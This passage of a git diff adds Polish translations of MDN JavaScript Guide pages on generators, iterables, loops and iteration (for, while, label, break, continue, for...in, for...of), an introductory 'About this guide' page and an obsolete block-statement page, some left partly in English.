<strong>{{jsxref("Obiekty/Generator","Generators","","true")}}</strong> zapewnia mocną alternatywę: pozwalają one zdefiniować programiście iteratywny algorytm poprzez utworzenie pojedynczej funkcji, która jest wstanie utrzymywać swój wewnętrzny stan.</p> + +<p>Generator jest specjalnym typem funkcji, która działa jako fabryka dla iteratorów. Funkcja staje się generatorem, gdy zawiera przynajmniej jedno{{jsxref("Operatory/yield","yield")}} wyrażenie oraz gdy używa {{jsxref("Polecenia/function*","function*")}}.</p> + +<pre class="brush: js">function* idMaker() { + var index = 0; + while(true) + yield index++; +} + +var gen = idMaker(); + +console.log(gen.next().value); // 0 +console.log(gen.next().value); // 1 +console.log(gen.next().value); // 2 +// ...</pre> + +<h2 id="Iterables">Iterables</h2> + +<p>An object is <strong>iterable</strong> if it defines its iteration behavior, such as what values are looped over in a {{jsxref("Polecenia/for...of", "for..of")}} construct. Some built-in types, such as {{jsxref("Array")}} or {{jsxref("Map")}}, have a default iteration behavior, while other types (such as {{jsxref("Object")}}) do not.</p> + +<p>In order to be <strong>iterable</strong>, an object must implement the <strong>@@iterator</strong> method, meaning that the object (or one of the objects up its <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">prototype chain</a>) must have a property with a {{jsxref("Symbol.iterator")}} key:</p> + +<h3 id="User-defined_iterables">User-defined iterables</h3> + +<p>We can make our own iterables like this:</p> + +<pre class="brush: js">var myIterable = {}; +myIterable[Symbol.iterator] = function* () { + yield 1; + yield 2; + yield 3; +}; + +for (let value of myIterable) { + console.log(value); +} +// 1 +// 2 +// 3 + +or + +[...myIterable]; // [1, 2, 3] +</pre> + +<h3 id="Built-in_iterables">Built-in iterables</h3> + +<p>{{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("TypedArray")}}, {{jsxref("Map")}} and {{jsxref("Set")}} are all built-in iterables, because the prototype objects of them all have a {{jsxref("Symbol.iterator")}} method.</p> + +<h3 id="Syntaxes_expecting_iterables">Syntaxes expecting iterables</h3> + +<p>Some statements and expressions are expecting iterables, for example the {{jsxref("Polecenia/for...of","for-of")}} loops, {{jsxref("Operatory/Spread_operator","spread operator","","true")}}, {{jsxref("Operatory/yield*","yield*")}}, and {{jsxref("Operatory/Destructuring_assignment","destructuring assignment","","true")}}.</p> + +<pre class="brush: js">for (let value of ['a', 'b', 'c']) { + console.log(value); +} +// "a" +// "b" +// "c" + +[...'abc']; // ["a", "b", "c"] + +function* gen() { + yield* ['a', 'b', 'c']; +} + +gen().next(); // { value: "a", done: false } + +[a, b, c] = new Set(['a', 'b', 'c']); +a; // "a" + +</pre> + +<h2 id="Advanced_generators">Advanced generators</h2> + +<p>Generators compute their yielded values on demand, which allows them to efficiently represent sequences that are expensive to compute, or even infinite sequences as demonstrated above.</p> + +<p>The {{jsxref("Obiekty/Generator/next","next()")}} method also accepts a value which can be used to modify the internal state of the generator. A value passed to <code>next()</code> will be treated as the result of the last <code>yield</code> expression that paused the generator.</p> + +<p>Here is the fibonacci generator using <code>next(x)</code> to restart the sequence:</p> + +<pre class="brush: js">function* fibonacci() { + var fn1 = 0; + var fn2 = 1; + while (true) { + var current = fn1; + fn1 = fn2; + fn2 = current + fn1; + var reset = yield current; + if (reset) { + fn1 = 0; + fn2 = 1; + } + } +} + +var sequence = fibonacci(); +console.log(sequence.next().value); // 0 +console.log(sequence.next().value); // 1 +console.log(sequence.next().value); // 1 +console.log(sequence.next().value); // 2 +console.log(sequence.next().value); // 3 +console.log(sequence.next().value); // 5 +console.log(sequence.next().value); // 8 +console.log(sequence.next(true).value); // 0 +console.log(sequence.next().value); // 1 +console.log(sequence.next().value); // 1 +console.log(sequence.next().value); // 2</pre> + +<p>You can force a generator to throw an exception by calling its {{jsxref("Obiekty/Generator/throw","throw()")}} method and passing the exception value it should throw. This exception will be thrown from the current suspended context of the generator, as if the <code>yield</code> that is currently suspended were instead a <code>throw <em>value</em></code> statement.</p> + +<p>If a <code>yield</code> is not encountered during the processing of the thrown exception, then the exception will propagate up through the call to <code>throw()</code>, and subsequent calls to <code>next()</code> will result in the <code>done</code> property being <code>true</code>.</p> + +<p>Generators have a {{jsxref("Obiekty/Generator/return","return(value)")}} method that returns the given value and finishes the generator itself.</p> + +<p>{{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Meta_programming")}}</p> diff --git a/files/pl/web/javascript/guide/loops_and_iteration/index.html b/files/pl/web/javascript/guide/loops_and_iteration/index.html new file mode 100644 index 0000000000..a53f1a9016 --- /dev/null +++ b/files/pl/web/javascript/guide/loops_and_iteration/index.html @@ -0,0 +1,332 @@ +--- +title: Pętle i iteracje +slug: Web/JavaScript/Guide/Loops_and_iteration +translation_of: Web/JavaScript/Guide/Loops_and_iteration +--- +<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Control_flow_and_error_handling", "Web/JavaScript/Guide/Functions")}}</div> + +<p class="summary">Za pomocą pętli możemy w łatwy sposób powtarzać pewne czynności. Ten rodział <a href="/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a> zapoznaje z różnymi rodzajami pętli, dostępnymi w JavaScript.</p> + +<p>Możesz myśleć o pętli jak o skomputeryzowanej wersji gry w której mówisz komuś, żeby zrobił X kroków w jedym kierunku a następnie Y kroków w innym; przykład "Zrób 5 kroków na zachód" może być wyrażone za pomocą pętli w ten sposób:</p> + +<pre class="brush: js">var step; +for (step = 0; step < 5; step++) { + // Uruchamia się 5 razy, z wartościami od 0 do 4. + console.log('Idę na zachód jeden krok'); +} +</pre> + +<p>Jest wiele różnych rodzajów pętli, lecz zwykle wszystkie robią to samo: powtarzają zadaną akcję pewną ilość razy (liczba powtórzeń może także wynosić 0). Różne mechanizmy pętli oferują różne sposoby określania początku i końca pętli. W różnych sytuacjach łatwiej jest użyć danego typu pętli niż innego.</p> + +<p>Wyrażenia dla pętli obsługiwane w JavaScript:</p> + +<ul> + <li>{{anch("for")}}</li> + <li>{{anch("do...while")}}</li> + <li>{{anch("while")}}</li> + <li>{{anch("label")}}</li> + <li>{{anch("break")}}</li> + <li>{{anch("continue")}}</li> + <li>{{anch("for...in")}}</li> + <li>{{anch("for...of")}}</li> +</ul> + +<h2 id="for"><code>for</code></h2> + +<p>Pętla <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for</a></code> powtarza wykonie instrukcji, dopóki dostarczony warunek nie zwraca false. Pętla for w JavaScript jest podobna do tej z języków Java czy C. Składnia tej pętli wygląda następująco:</p> + +<pre class="syntaxbox">for ([wyrażenieInicjalizacji]; [warunek]; [wyrażenieInkrementacji]) + Instrukcja +</pre> + +<p>Podczas wykonywania się pętli for, mają miejsce następujące operacje:</p> + +<ol> + <li> Wykonywane jest wyrażenie <code>wyrażenieInicjalizacji</code>, o ile takie istnieje. Zazwyczaj w tym miejscu inicjalizuje się zmienne, które posłużą później jako liczniki dla pętli.</li> + <li> Sprawdzana jest wartość zwracana przez wyrażenie <code>warunek</code>, jeśli jest to true, pętla będzie wykonywać się dalej. Jeśli z kolei będzie to false, pętla zostanie przerwana. W przypadku nie podania żadnego wyrażenia warunkowego, pętla będzie traktować to jako true.</li> + <li>Wykonuje się <code>Instrukcja</code>. W celu wykonania wielu instrukcji w jednym przebiegu pętli, należy je zgrupować i umieścić w bloku ( <code>{ ... }</code> ).</li> + <li> Wykonywane zostaje <code>wyrażenie inkrementacji</code>, o ile istnieje. W tym miejscu powiększamy wartość licznika pętli.</li> + <li>Zarządzanie pętlą wraca do kroku 2.</li> +</ol> + +<h3 id="Przykład"><strong>Przykład</strong></h3> + +<p>Następująca funkcja zawiera pętle <code>for</code>, która zlicza elementy <option> w rozwijalnej liście <select>. W pętli zostaje zadeklarowana zmienna <code>i</code> z wartością 0. Sprawdza czy <code>i</code> jest mniejsze niż liczba elementów <option>, wykonuje kod wewnątrz i zwiększa wartość <code>i </code>po każdym przebiegu.</p> + +<pre class="brush: html"><form name="selectForm"> + <p> + <label for="musicTypes">Choose some music types, then click the button below:</label> + <select id="musicTypes" name="musicTypes" multiple="multiple"> + <option selected="selected">R&B</option> + <option>Jazz</option> + <option>Blues</option> + <option>New Age</option> + <option>Classical</option> + <option>Opera</option> + </select> + </p> + <p><input id="btn" type="button" value="How many are selected?" /></p> +</form> + +<script> +function howMany(selectObject) { + var numberSelected = 0; + for (var i = 0; i < selectObject.options.length; i++) { + if (selectObject.options[i].selected) { + numberSelected++; + } + } + return numberSelected; +} + +var btn = document.getElementById("btn"); +btn.addEventListener("click", function(){ + alert('Number of options selected: ' + howMany(document.selectForm.musicTypes)) +}); +</script> + +</pre> + +<h2 id="do...while"><code>do...while</code></h2> + +<p><code><font face="Open Sans, Arial, sans-serif">Pętla </font><a href="/en-US/docs/Web/JavaScript/Reference/Statements/do...while">do...while</a></code> powtarza <code>instrukcje</code> wewnątrz, dopóki <code>warunek</code> nie zwróci false. Wygląda to następująco:</p> + +<pre class="syntaxbox">do + instrukcja +while (warunek); +</pre> + +<p>Możemy skorzystać z wyrażenia bloku (<code>{ ... }</code>), by zgrupować wiele instrukcji. Na końcu wykonywania instrukcji sprawdzany jest warunek. Jeśli zwróci on true, Pętla wykonan się po raz kolejny, z kolei false przerwie pętle. Warto zwrócić uwagę, że ze względu na miejsce umieszczenia warunku, zawsze wykona się ona przynajmniej raz.</p> + +<h3 id="Przykład_2"><strong>Przykład</strong></h3> + +<p>W tym przykładzie pętla będzie iterawoć do momentu kiedy licznik <code>i</code> nie będzie większy od 5.</p> + +<pre class="brush: js">do { + i += 1; + console.log(i); +} while (i < 5);</pre> + +<h2 id="while"><code>while</code></h2> + +<p>Pętla <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/while">while</a></code> wykonuje się dopóki podany warunek zwraca true. Składnia jest następująca:</p> + +<pre class="syntaxbox">while (warunek) + instrukcja +</pre> + +<p>Jeśli <code>warunek</code> zwróci false, pętla zostaje zatrzymana. W odróżniu od pętli <code>do ... while</code>, sprawdzania warunku mamy na początku. Oznacza to, że jeśli warunek na start zwraca name false, pętla nie wykona się ani razu.</p> + +<p>W tym przypadku również możemy zgrupować instrukcje za pomocą (<code>{ ... }</code>).</p> + +<h3 id="Przykład_1"><strong>Przykład 1</strong></h3> + +<p>Następująca pętla <code>while</code> iteruje tak długo aż n jest mniejszy od 3:</p> + +<pre class="brush: js">n = 0; +x = 0; +while (n < 3) { + n++; + x += n; +} +</pre> + +<p>Z każdą iteracją, pętla inkrementuje wartość n i dodaje ją do x. W związku z tym x i n przyjmują następujące wartości:</p> + +<ul> + <li>Po pierwszym przebiegu: n = 1 i x = 1</li> + <li>Po drugim przebiegu: n = 2 i x = 3</li> + <li>Po trzecim przebiegu: n = 3 i x = 6</li> +</ul> + +<p>Po wykonaniu trzeciego przebiegu, warunek n < 3 nie zwraca już dłużej true, więc pętla zostaje przerwana.</p> + +<h3 id="Przykład_2_2"><strong>Przykład 2</strong></h3> + +<p>Unikaj nieskończonych pętli. Upewnij się, że podany warunek ma możliwośc zwrócenia false; w przeciwnym razie pętla nigdy nie zostanie przerwana, co w najgorszym razie spowoduje zawieszenie przeglądarki.</p> + +<p>Poniższy przykład przedstawia pętla, która nigdy nie zostanie przerwana, ponieważ podany warunek zawsze zwróci true:</p> + +<pre class="brush: js">while (true) { + console.log("Hello, world"); +}</pre> + +<h2 id="label_statement"><code>label</code> statement</h2> + +<p>A <a href="/en-US/docs/Web/JavaScript/Reference/Statements/label">label</a> provides a statement with an identifier that lets you refer to it elsewhere in your program. For example, you can use a label to identify a loop, and then use the <code>break</code> or <code>continue</code> statements to indicate whether a program should interrupt the loop or continue its execution.</p> + +<p>The syntax of the label statement looks like the following:</p> + +<pre class="syntaxbox">label : + statement +</pre> + +<p>The value of <code><em>label</em></code> may be any JavaScript identifier that is not a reserved word. The <code><em>statement</em></code> that you identify with a label may be any statement.</p> + +<h3 id="Example"><strong>Example</strong></h3> + +<p>In this example, the label <code>markLoop</code> identifies a <code>while</code> loop.</p> + +<pre class="brush: js">markLoop: +while (theMark == true) { + doSomething(); +}</pre> + +<h2 id="break_statement"><code>break</code> statement</h2> + +<p>Use the <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/break">break</a></code> statement to terminate a loop, <code>switch</code>, or in conjunction with a label statement.</p> + +<ul> + <li>When you use <code>break</code> without a label, it terminates the innermost enclosing <code>while</code>, <code>do-while</code>, <code>for</code>, or <code>switch</code> immediately and transfers control to the following statement.</li> + <li>When you use <code>break</code> with a label, it terminates the specified labeled statement.</li> +</ul> + +<p>The syntax of the <code>break</code> statement looks like this:</p> + +<ol> + <li><code>break;</code></li> + <li><code>break <em>label</em>;</code></li> +</ol> + +<p>The first form of the syntax terminates the innermost enclosing loop or <code>switch</code>; the second form of the syntax terminates the specified enclosing label statement.</p> + +<h3 id="Example_1"><strong>Example</strong> <strong>1</strong></h3> + +<p>The following example iterates through the elements in an array until it finds the index of an element whose value is <code>theValue</code>:</p> + +<pre class="brush: js">for (i = 0; i < a.length; i++) { + if (a[i] == theValue) { + break; + } +}</pre> + +<h3 id="Example_2_Breaking_to_a_label"><strong>Example 2: </strong>Breaking to a label</h3> + +<pre class="brush: js">var x = 0; +var z = 0 +labelCancelLoops: while (true) { + console.log("Outer loops: " + x); + x += 1; + z = 1; + while (true) { + console.log("Inner loops: " + z); + z += 1; + if (z === 10 && x === 10) { + break labelCancelLoops; + } else if (z === 10) { + break; + } + } +} +</pre> + +<h2 id="continue_statement"><code>continue</code> statement</h2> + +<p>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/continue">continue</a></code> statement can be used to restart a <code>while</code>, <code>do-while</code>, <code>for</code>, or <code>label</code> statement.</p> + +<ul> + <li>When you use <code>continue</code> without a label, it terminates the current iteration of the innermost enclosing <code>while</code>, <code>do-while</code>, or <code>for</code> statement and continues execution of the loop with the next iteration. In contrast to the <code>break</code> statement, <code>continue</code> does not terminate the execution of the loop entirely. In a <code>while</code> loop, it jumps back to the condition. In a <code>for</code> loop, it jumps to the <code>increment-expression</code>.</li> + <li>When you use <code>continue</code> with a label, it applies to the looping statement identified with that label.</li> +</ul> + +<p>The syntax of the <code>continue</code> statement looks like the following:</p> + +<ol> + <li><code>continue;</code></li> + <li><code>continue </code><em><code>label;</code></em></li> +</ol> + +<h3 id="Example_1_2"><strong>Example 1</strong></h3> + +<p>The following example shows a <code>while</code> loop with a <code>continue</code> statement that executes when the value of <code>i</code> is three. Thus, <code>n</code> takes on the values one, three, seven, and twelve.</p> + +<pre class="brush: js">i = 0; +n = 0; +while (i < 5) { + i++; + if (i == 3) { + continue; + } + n += i; +} +</pre> + +<h3 id="Example_2"><strong>Example 2</strong></h3> + +<p>A statement labeled <code>checkiandj</code> contains a statement labeled <code>checkj</code>. If <code>continue</code> is encountered, the program terminates the current iteration of <code>checkj</code> and begins the next iteration. Each time <code>continue</code> is encountered, <code>checkj</code> reiterates until its condition returns <code>false</code>. When <code>false</code> is returned, the remainder of the <code>checkiandj</code> statement is completed, and <code>checkiandj</code> reiterates until its condition returns <code>false</code>. When <code>false</code> is returned, the program continues at the statement following <code>checkiandj</code>.</p> + +<p>If <code>continue</code> had a label of <code>checkiandj</code>, the program would continue at the top of the <code>checkiandj</code> statement.</p> + +<pre class="brush: js">checkiandj: + while (i < 4) { + console.log(i); + i += 1; + checkj: + while (j > 4) { + console.log(j); + j -= 1; + if ((j % 2) == 0) { + continue checkj; + } + console.log(j + " is odd."); + } + console.log("i = " + i); + console.log("j = " + j); + }</pre> + +<h2 id="for...in_statement"><code>for...in</code> statement</h2> + +<p>The <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a> statement iterates a specified variable over all the enumerable properties of an object. For each distinct property, JavaScript executes the specified statements. A <code>for...in</code> statement looks as follows:</p> + +<pre class="syntaxbox">for (variable in object) { + statements +} +</pre> + +<h3 id="Example_3"><strong>Example</strong></h3> + +<p>The following function takes as its argument an object and the object's name. It then iterates over all the object's properties and returns a string that lists the property names and their values.</p> + +<pre class="brush: js">function dump_props(obj, obj_name) { + var result = ""; + for (var i in obj) { + result += obj_name + "." + i + " = " + obj[i] + "<br>"; + } + result += "<hr>"; + return result; +} +</pre> + +<p>For an object <code>car</code> with properties <code>make</code> and <code>model</code>, <code>result</code> would be:</p> + +<pre class="brush: js">car.make = Ford +car.model = Mustang +</pre> + +<h3 id="Arrays"><strong>Arrays</strong></h3> + +<p>Although it may be tempting to use this as a way to iterate over {{jsxref("Array")}} elements, the <strong>for...in</strong> statement will return the name of your user-defined properties in addition to the numeric indexes. Thus it is better to use a traditional <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for</a></code> loop with a numeric index when iterating over arrays, because the <strong>for...in</strong> statement iterates over user-defined properties in addition to the array elements, if you modify the Array object, such as adding custom properties or methods.</p> + +<h2 id="for...of_statement"><code>for...of</code> statement</h2> + +<p>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code> statement creates a loop Iterating over <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/iterable">iterable objects</a> (including {{jsxref("Array")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/arguments">arguments</a> object and so on), invoking a custom iteration hook with statements to be executed for the value of each distinct property.</p> + +<pre class="syntaxbox">for (<em>variable</em> of <em>object</em>) { + <em>statement +</em>}</pre> + +<p>The following example shows the difference between a <code>for...of</code> loop and a <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in" title="en-US/docs/JavaScript/Reference/Statements/for...in">for...in</a></code> loop. While <code>for...in</code> iterates over property names, <code>for...of</code> iterates over property values:</p> + +<pre class="brush:js">let arr = [3, 5, 7]; +arr.foo = "hello"; + +for (let i in arr) { + console.log(i); // logs "0", "1", "2", "foo" +} + +for (let i of arr) { + console.log(i); // logs "3", "5", "7" +} +</pre> + +<p>{{PreviousNext("Web/JavaScript/Guide/Control_flow_and_error_handling", "Web/JavaScript/Guide/Functions")}}</p> diff --git a/files/pl/web/javascript/guide/o_tym_przewodniku/index.html b/files/pl/web/javascript/guide/o_tym_przewodniku/index.html new file mode 100644 index 0000000000..f4a5756dbc --- /dev/null +++ b/files/pl/web/javascript/guide/o_tym_przewodniku/index.html @@ -0,0 +1,138 @@ +--- +title: O tym przewodniku +slug: Web/JavaScript/Guide/o_tym_przewodniku +translation_of: Web/JavaScript/Guide/Introduction +--- +<p>JavaScript jest międzyplatformowym, zorientowanym obiektowo językiem skryptowym. Poniższy przewodnik tłumaczy wszystko, co powinieneś wiedzieć abyś mógł posługiwać się JavaScriptem.</p> + +<h2 id="Nowe_opcje_w_JavaScripcie">Nowe opcje w JavaScripcie</h2> + +<p> </p> + +<ul> + <li><a class="new" href="/pl/docs/Web/JavaScript/New_in_JavaScript/1.2" rel="nofollow">/pl/docs/Web/JavaScript/New_in_JavaScript/1.2</a></li> + <li><a class="new" href="/pl/docs/Web/JavaScript/New_in_JavaScript/1.3" rel="nofollow">/pl/docs/Web/JavaScript/New_in_JavaScript/1.3</a></li> + <li><a class="new" href="/pl/docs/Web/JavaScript/New_in_JavaScript/1.4" rel="nofollow">/pl/docs/Web/JavaScript/New_in_JavaScript/1.4</a></li> + <li><a class="new" href="/pl/docs/Web/JavaScript/New_in_JavaScript/1.5" rel="nofollow">/pl/docs/Web/JavaScript/New_in_JavaScript/1.5</a></li> + <li><a class="new" href="/pl/docs/Web/JavaScript/New_in_JavaScript/1.6" rel="nofollow">/pl/docs/Web/JavaScript/New_in_JavaScript/1.6</a></li> + <li><a class="new" href="/pl/docs/Web/JavaScript/New_in_JavaScript/1.7" rel="nofollow">/pl/docs/Web/JavaScript/New_in_JavaScript/1.7</a></li> + <li><a class="new" href="/pl/docs/Web/JavaScript/New_in_JavaScript/1.8" rel="nofollow">/pl/docs/Web/JavaScript/New_in_JavaScript/1.8</a></li> + <li><a class="new" href="/pl/docs/Web/JavaScript/New_in_JavaScript/1.8.1" rel="nofollow">/pl/docs/Web/JavaScript/New_in_JavaScript/1.8.1</a></li> + <li><a class="new" href="/pl/docs/Web/JavaScript/New_in_JavaScript/1.8.5" rel="nofollow">/pl/docs/Web/JavaScript/New_in_JavaScript/1.8.5</a></li> +</ul> + +<p> </p> + +<h2 id="Co_już_powinieneś_wiedzieć">Co już powinieneś wiedzieć</h2> + +<p>Ten przewodnik zakłada że masz poniższe podstawy:</p> + +<ul> + <li>Ogólna wiedza o Internecie i sieci WWW.</li> + <li>Dobra znajomość HTML'a (<a href="/en/HTML" title="en/HTML">HTML</a>).</li> + <li>Trochę doświadczenia w programowaniu. Jeżeli go nie posiadasz, spróbuj pobawić się z którymś z tutoriali ze strony <a href="/en-US/docs/JavaScript" title="/en-US/docs/">JavaScript</a></li> +</ul> + +<h2 id="Wersje_JavaScriptu">Wersje JavaScriptu</h2> + +<table class="standard-table"> + <caption>Tabela 1 JavaScript i wersje Navigatora</caption> + <thead> + <tr> + <th scope="col">Wersja JavaScriptu</th> + <th scope="col">Wersja Navigatora</th> + </tr> + </thead> + <tbody> + <tr> + <td>JavaScript 1.0</td> + <td>Navigator 2.0</td> + </tr> + <tr> + <td>JavaScript 1.1</td> + <td>Navigator 3.0</td> + </tr> + <tr> + <td>JavaScript 1.2</td> + <td>Navigator 4.0-4.05</td> + </tr> + <tr> + <td>JavaScript 1.3</td> + <td>Navigator 4.06-4.7x</td> + </tr> + <tr> + <td>JavaScript 1.4</td> + <td> </td> + </tr> + <tr> + <td>JavaScript 1.5</td> + <td>Navigator 6.0<br> + Mozilla (open sourceowa przeglądarka)</td> + </tr> + <tr> + <td>JavaScript 1.6</td> + <td><a href="/en/Firefox_1.5_for_developers" title="en/Firefox_1.5_for_developers">Firefox 1.5</a>, inne przeglądarki oparte na Mozilli 1.8</td> + </tr> + <tr> + <td>JavaScript 1.7</td> + <td><a href="/en/Firefox_2_for_developers" title="en/Firefox_2_for_developers">Firefox 2</a>, inne przeglądarki oparte na Mozilli<span style="line-height: inherit;"> 1.8.1</span></td> + </tr> + <tr> + <td>JavaScript 1.8</td> + <td><a href="/en/Firefox_3_for_developers" title="en/Firefox_3_for_developers">Firefox 3</a>, inne przeglądarki oparte na Gecko 1.9</td> + </tr> + </tbody> +</table> + +<h2 id="Gdzie_znaleźć_informacje_o_JavaScripcie">Gdzie znaleźć informacje o JavaScripcie</h2> + +<p>Dokumentacja JavaScript zawiera następujące książki:</p> + +<ul> + <li><a href="/pl/JavaScript/Przewodnik" title="en/Core_JavaScript_1.5_Guide">Przewodnik JavaScript</a> (ten przewodnik) dostarcza informacji o języku JavaScript i jego obiektach.</li> + <li><a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">JavaScript Reference</a> dostarcza dodatkową wiedzę o języku JavaScript.</li> +</ul> + +<p>Jeżeli dopiero zaczynasz swoją przygodę z JavaScriptem, zacznij od <a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide">Przewodnika JavaScript</a>. Jeżeli posiądziesz już podstawowe umiejętności, możesz przejśc do <a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">JavaScript Reference</a> aby zdobyć bardziej szczegółową, dogłębną wiedzę.</p> + +<h2 id="Jak_się_uczyć_JavaScriptu">Jak się uczyć JavaScriptu</h2> + +<p>Rozpoczęcie nauki JavaScriptu jest proste: wszystko czego potrzebujesz to nowoczesna przeglądarka internetowa<span style="line-height: inherit;">. Ten przewodnik zawiera skrypty działające jedynie w najnowszej wersji Firefoxa (i innych przeglądarkach opartych na Gecko), także sugerujemy używanie jego najnowszej wersji.</span></p> + +<h3 id="Interaktywny_interpreter">Interaktywny interpreter</h3> + +<p>Interaktywna konsola JavaScriptowa stanowi nieocenioną pomoc przy nauce, pozwala ona testować skrypty bez zapisywania plików i odświeżania okna przeglądarki. Konsola błędów w Firefoxie (Narzędzia-Dla twórców WWW-Konsola WWW lub też Ctrl+Shift+K) dostarcza prosty sposób by przetesować JavaScript: poprostu wpisz linijkę kodu i zatwierdź ją Enterem.</p> + +<p><img alt="Konsola www w Firefoxie 25.0.1" src="https://mdn.mozillademos.org/files/6491/konsola.jpg" style="height: 252px; width: 803px;"></p> + +<p> </p> + +<h3 id="Firebug">Firebug</h3> + +<p>Bardziej zaawansowana konsola dostępna jest po zainstalowaniu dodatku do Firefoxa o nazwie <a class="external" href="http://www.getfirebug.com/">Firebug</a>. Wyrażenia, które wprowadzisz są interpretowane jako obiekty i są połączone z innymi częsciami Firebuga. Prosty przykład: </p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/6493/firebug.jpg" style="height: 280px; width: 859px;"></p> + +<p> </p> + +<p>Użycie strzałki znajdującej się w prawym, dolnym rogu pozwala wprowadzać wielolinijkowy kod.</p> + +<p>Firebug udostępnia również zaawansowany inspektor DOM, debugger JavaScriptu oraz wiele innych, użytecznych funkcji. Kod JavaScript działający na stronie może użyć funkcji <code>console.log()</code>, służącej do wyświewtlania zawartości w konsoli Firebuga.</p> + +<h2 id="Konwencje_tekstowe_w_tym_dokumencie">Konwencje tekstowe w tym dokumencie</h2> + +<p>Aplikacje JavaScriptu działają na wielu systemach operacyjnych, informacje zawarte w tej książce odnoszą się do wszystkich tych wersji. Ścierzki do plików i katalogów zapisane są w formacie Windowsowym (z backslashami oddzielającymi nazwy folderów). Wsystemach Unixowych backslashe nalezy zastąpić slashami. </p> + +<p>Adresy URL w tym przewodniku mają następującą formę:</p> + +<p><code>http://<em>serwer</em>.<em>domena</em>/<em>sciezka</em>/<em>plik</em>.html</code></p> + +<p>W tych URLach <em>serwer</em> reprezentuje nazwę serwera, którego używasz, np. <code>test1</code> czy <code>www</code>; <em>domena</em> to nazwa Twojej domeny np. <code>netscape.com</code> czy <code>uiuc.edu</code>; <em>sciezka</em> odpowiada za lokalizację pliku na twoim serwerze zaś <em>plik</em><code>.html</code> to konkretna nazwa pliku. Ogólnie rzecz ujmując w adresie URL teksty pisane czcionką pochyłą oznacza lokalizację pliku zaś te pisane czcionką o stałej szerokości to literały. Jeżeli twój serwer ma włączony protokół SSL, zamiast używać przedrostka<span style="line-height: inherit;"> </span><code style="font-size: 14px; line-height: inherit;">http,</code><span style="line-height: inherit;"> posługiwać się będziesz </span><code style="font-size: 14px; line-height: inherit;">https</code><span style="line-height: inherit;">.</span></p> + +<p>Przewodnik ten używa następujących konwencji tekstowych:</p> + +<ul> + <li><code>Czciona o stałej szerokości</code> przedstawia przykładowy kod, jego listingi, elementy API oraz języka JavaScript (np. nazwy metod i właściwości), nazwy plików, nazwy katalogów, tagi HTML oraz każdy inny tekst, który musisz wpisać. (<code><em>Pochyła czcionka o stałej szerokości</em></code> używana jest gdy wpisujemy ścieżki w kod.)</li> + <li><em>Czcionka pochyła</em> jest używana w przypadku tytułów książek, by wyróżnić tekst, wskazać zmienną czy też lokalizację.</li> + <li><strong>Czcionka wytłuszczona</strong> wskazuje na ważne nazwy.</li> +</ul> diff --git a/files/pl/web/javascript/guide/obsolete_pages/index.html b/files/pl/web/javascript/guide/obsolete_pages/index.html new file mode 100644 index 0000000000..26e6692789 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/index.html @@ -0,0 +1,10 @@ +--- +title: Obsolete Pages +slug: Web/JavaScript/Guide/Obsolete_Pages +tags: + - NeedsTranslation + - TopicStub +translation_of: Web/JavaScript/Guide +--- +<p>This is a list of pages that have been merged into chapters (in alphabetical order):</p> +<p>{{ tree() }}</p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/blok_instrukcji/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/blok_instrukcji/index.html new file mode 100644 index 0000000000..3d89c82b57 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/blok_instrukcji/index.html @@ -0,0 +1,41 @@ +--- +title: Blok instrukcji +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Blok_instrukcji +tags: + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling +--- +<p> +</p> +<h3 id="Blok_instrukcji" name="Blok_instrukcji"> Blok instrukcji </h3> +<p>Blok instrukcji jest użyty do grupowania instrukcji. Blok zawarty jest w klamrach: +</p> +<pre class="eval">{ + instrukcja_1 + instrukcja_2 + . + . + . + instrukcja_n +} +</pre> +<p><b>Przykład</b><br> +Blok instrukcji są zazwyczaj używane z instrukcją kontrolną (np. <code><b>if</b></code>, <code><b>for</b></code>, <code><b>while</b></code>). +</p> +<pre class="eval">while (x < 10) { + x++; +} +</pre> +<p>Tutaj, <code><b>{ x++; }</b></code> jest blokiem instrukcji. +</p><p><b>Ważne</b>: JavaScript <b>nie</b> ma zakresu blokowego. Zmienne przedstawione z blokiem są zakresem stanowiącym zawartość funkcji i skryptu, efektem ustawień ich i trwania ponad własny blok. Nie chcesz używać bloków "samodzielnych/wolnostojących" w JavaScript, ponieważ one nie robią tego co myślisz, że robią, jeśli myślisz, że robią cokolwiek tak jak bloki w C lub Javie. Na przykład: +</p> +<pre class="eval">var x = 1; +{ + var x = 2; +} +alert(x); // wyświetli wartość drugiej zmiennej 2 +</pre> +<p>Zostanie wyświetlona wartość drugiej zmiennej ponieważ instrukcja <code><b>var x</b></code> wewnątrz warunku posiada ten sam zakres co instrukcja <code><b>var x</b></code> przed instrukcją warunkową. W C lub Java, równoważny kod miałby wartość pierwszej zmiennej. +</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Block_Statement", "fr": "fr/Guide_JavaScript_1.5/D\u00e9claration_de_blocs", "ja": 